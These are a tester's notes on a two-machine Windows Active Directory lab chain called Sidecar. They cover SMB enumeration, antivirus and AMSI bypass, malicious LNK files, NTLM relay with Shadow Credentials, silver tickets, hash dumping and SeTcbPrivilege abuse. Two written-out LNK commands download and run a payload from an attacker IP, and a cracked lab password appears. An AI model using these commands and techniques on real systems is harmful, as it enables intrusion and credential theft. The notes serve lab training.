Sidecar (Chain)

This is not a writeup, just my notes about the machine.

Operating System: Microsoft Windows Server 2022 Standard

Chain: True (2 Machines)

Credentials

Username
Password
Method
Scope

svc_deploy

Aces&Eights

Dump SAM + LSA + Hashcat

Domain User

✅ Valid Usernames

🔑 Passwords list

Information Gathering

Nmap Scan

Service Enumeration

10.10.220.53

DNS

  • Not vulnerable to DNS Zone Transfer

SMB (Enum4linux-ng)

  • Parent/Root Domain

  • NetBIOS: DC01

  • Domain: Sidecar.vl

  • FQDN: DC01.Sidecar.vl

  • Domain SID: S-1-5-21-3976908837-939936849-1028625813

  • SMB signing: true (Not vulnerable to NTLM Relay)

  • Server allows null session authentication

  • Server allows guest session authentication

10.10.220.54

SMB (Enum4linux-ng)

  • NetBIOS: WS01

  • FQDN: ws01.Sidecar.vl

  • SMB signing: false (vulnerable to ntlm relay)

Compromising WS01

Discovering a share folder with excessive permission

During the enumeration the tester found that guest authentication was enabled into the server allows to enumerate the SMB shares. Additionally, it was discovered that Public share allows Read and Write permissions.

Initial foothold on WS01

Bypassing Windows Defender using DSViper

During the enumeration the tester attempted to obtain a reverse shell but the AV was enabled into the system preventing the execution or malicious software. The tester proceeded to bypass the detection using DSViper

Creating shellcode using msfvenom

Using DSViper to create final payload

Creating malicious Lnk files

The tester proceeded to create two malicious Lnk files:

Download payload: C:\Windows\System32\cmd.exe /c powershell IWR http://10.8.5.48:8080/DSViper_xor.exe -Outfile C:\Windows\Temp\DSViper_xor.exe

Execute payload: C:\Windows\System32\cmd.exe /c C:\Windows\Temp\DSViper_xor.exe

Upload malicious files and obtaing a reverse shell on WS01

Compromising WS01 as Administrator

Enumerating Security Protections on WS01

Obtaining reverse shell using sliver

Undetectable payload:

Turning On WebDav

During the post-enumeration the tester discovered an WebDAV that was subsequently enabled.

Starting WebClient service using net use command:

Starting WebClient service using c2tc-startwebclient .

NTLM Relay attack via WebDav + Shadows Credentials

To successfully carry out this attack, the environment must have the following misconfigurations:

  • LDAP Signing is NOT enforced

  • LDAPS Channel Binding is set to "NEVER"

  • MachineAccountQuota > 0 — if not, proceed with Shadow Credentials instead.

  • Valid NetBIOS name resolution via Responder

  • Intranet zone conditions has to be meet.

    • Which means add our Computer to the domain using the NetBIOS provided by Responder

1. Bypassing AMSI

Option 1#: Using PowerJokerarrow-up-right to obtain a stable powershell and use amsi.failarrow-up-right to generate PowerShell snippets that break or disable AMSI for the current process.

Option 2#Using Donut arrow-up-right+ UnmanagedPowerShellarrow-up-right + Sliver

2. Evaluating the environment to choise the attack path

Due machineaccountquota is set in 0, the tester proceeded to use shadow credentials instead.

3. Starting Responder to generate a valid NetBIOS

Addinjg a Malicious DNS

Option #1: Using Sharpmad.exe via sliver

Option #2: Using UnmanagedPowerShell.

This tools is precharged with PowerView, PowerUp, PowerUpSQL and Powermad.

Option #3: Using PowerJokerarrow-up-right to obtain a stable powershell and use amsi.failarrow-up-right to generate PowerShell snippets that break or disable AMSI for the current process.

Running ntlmrelayx to redirect the authentication

Coercing the authentication against domain controller

Output:

Requesting a Kerberos TGT Using Certificate-Based Authentication (PKINIT)

Retrieving NT hash WS01$ computer account

Obtaining Domain Controller SID

Crafting Silver ticket for Local Administrator via S4U

Dumping local SAM Hashes LSA Secrets on WS01

Obtaining a shell as Administrator

Compromising domain controller

Initial Foothold on DC01

Discovering a valid user domain

During enumeration, the tester found the domain user svc_deploy, which appears similar to the local user Deployer found on WS01. This could indicate that they are the same user and may share the same credentials.

Cracking svc_deploy's NTLM hash

Found: svc_deploy:Aces&Eights

Compromise Domain controler via SeTcbPrivilege

Discovering SeTcbPrivilege token privilege enabled

circle-info

The user possesses SeTcbPrivilege ("") which means that can impersonation a token for any other user without knowing the credentials, add an arbitrary group (admins) to the token, set the integrity level of the token to "medium", and assign this token to the current thread (SetThreadToken).

Abusing of SeTcbPrivilege via TcbElevation

Script: https://gist.github.com/antonioCoco/19563adef860614b56d010d92e67d178arrow-up-right

Last updated